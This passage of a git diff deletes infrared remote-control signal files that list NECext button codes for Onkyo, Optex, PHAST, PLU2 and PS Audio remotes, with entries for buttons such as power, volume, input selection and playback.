SIMUL_SOURCE_VOL-DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C3 00 00 00 -# -name: SIMUL_SOURCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir deleted file mode 100644 index 599922bdd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_CLASS-PRESET_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_CLASS-PRESET_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: INPUT_SEL_TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: INPUT_SEL_TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: INPUT_SEL_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: INPUT_SEL_PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: INPUT_SEL_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: INPUT_SEL_VIDEO-3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: INPUT_SEL_VIDEO-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: INPUT_SEL_VIDEO-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: DECK-B_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_FWD-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_REV-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_REW -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP-NEXT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP-LAST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: REAR_LEVEL-UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL-DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: TUNER_CLASS-PRESET -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: SURROUND_FUNCTION-MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DECK-A_STOP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_FWD-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_REV-PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_FF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_REW -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: SURROUND_FUNCTION-DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: SPEAKERS_MAIN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SPEAKERS_REMOTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: CENTER_LEVEL-UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_LEVEL-DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: SURROUND_FUNCTION-TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: MULTI_SOURCE_VOL-UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C2 00 00 00 -# -name: MULTI_SOURCE_VOL-DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C3 00 00 00 -# -name: MULTI_SOURCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir deleted file mode 100644 index 3de032e09..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir deleted file mode 100644 index 12d5d1d52..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir +++ /dev/null @@ -1,794 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z_-_RECORD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 44 00 00 00 -# -name: Z_-_RECORD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 45 00 00 00 -# -name: Z_-_RECORD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 46 00 00 00 -# -name: Z_-_RECORD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 48 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 49 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 4A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 4B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 4C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 4D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 4E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 4F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 50 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 51 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 52 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 54 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 57 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 58 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 59 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 5A 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 5B 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 60 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 61 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 62 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 63 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 64 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 65 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 66 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 67 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 68 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 69 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 6A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 6B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 6C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 6D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 6E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 6F 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 70 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 71 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 72 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 74 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 75 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 76 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 77 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 78 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 79 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 7A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 7B 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 80 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 81 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 82 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 83 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 84 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 85 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 86 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 87 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 88 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 89 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 8A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 8B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 8C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 8D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 8E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 8F 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 90 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 91 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 92 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 93 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 94 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 95 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 96 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 55 00 00 00 -command: 97 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A0 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A1 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A2 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A3 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A4 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A5 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A6 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A8 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: A9 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: AA 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: AB 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: AC 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: AD 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: AE 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: AF 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B0 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B1 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B2 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B3 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B4 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B5 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B6 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B7 00 00 00 -# -name: PHAST -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B8 00 00 00 -# -name: PHAST -type: parsed -protocol: NECext -address: 55 00 00 00 -command: B9 00 00 00 -# -name: PHAST -type: parsed -protocol: NECext -address: 55 00 00 00 -command: BA 00 00 00 -# -name: PHAST -type: parsed -protocol: NECext -address: 55 00 00 00 -command: BB 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C0 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C1 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C2 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C3 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C4 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C5 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C6 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C7 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: C9 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: CA 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 55 00 00 00 -command: CB 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: CC 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: CD 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: CE 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 55 00 00 00 -command: CF 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D0 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D1 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D2 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D3 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D4 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D5 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D6 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D7 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D8 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: D9 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: DA 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 55 00 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir deleted file mode 100644 index 1736ee4f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: intro -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: track -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: abrpt -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: slow.rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: slow.fwd -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: f.fwd -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: f.rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: ntsc.pal -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir deleted file mode 100644 index 3b64f365f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 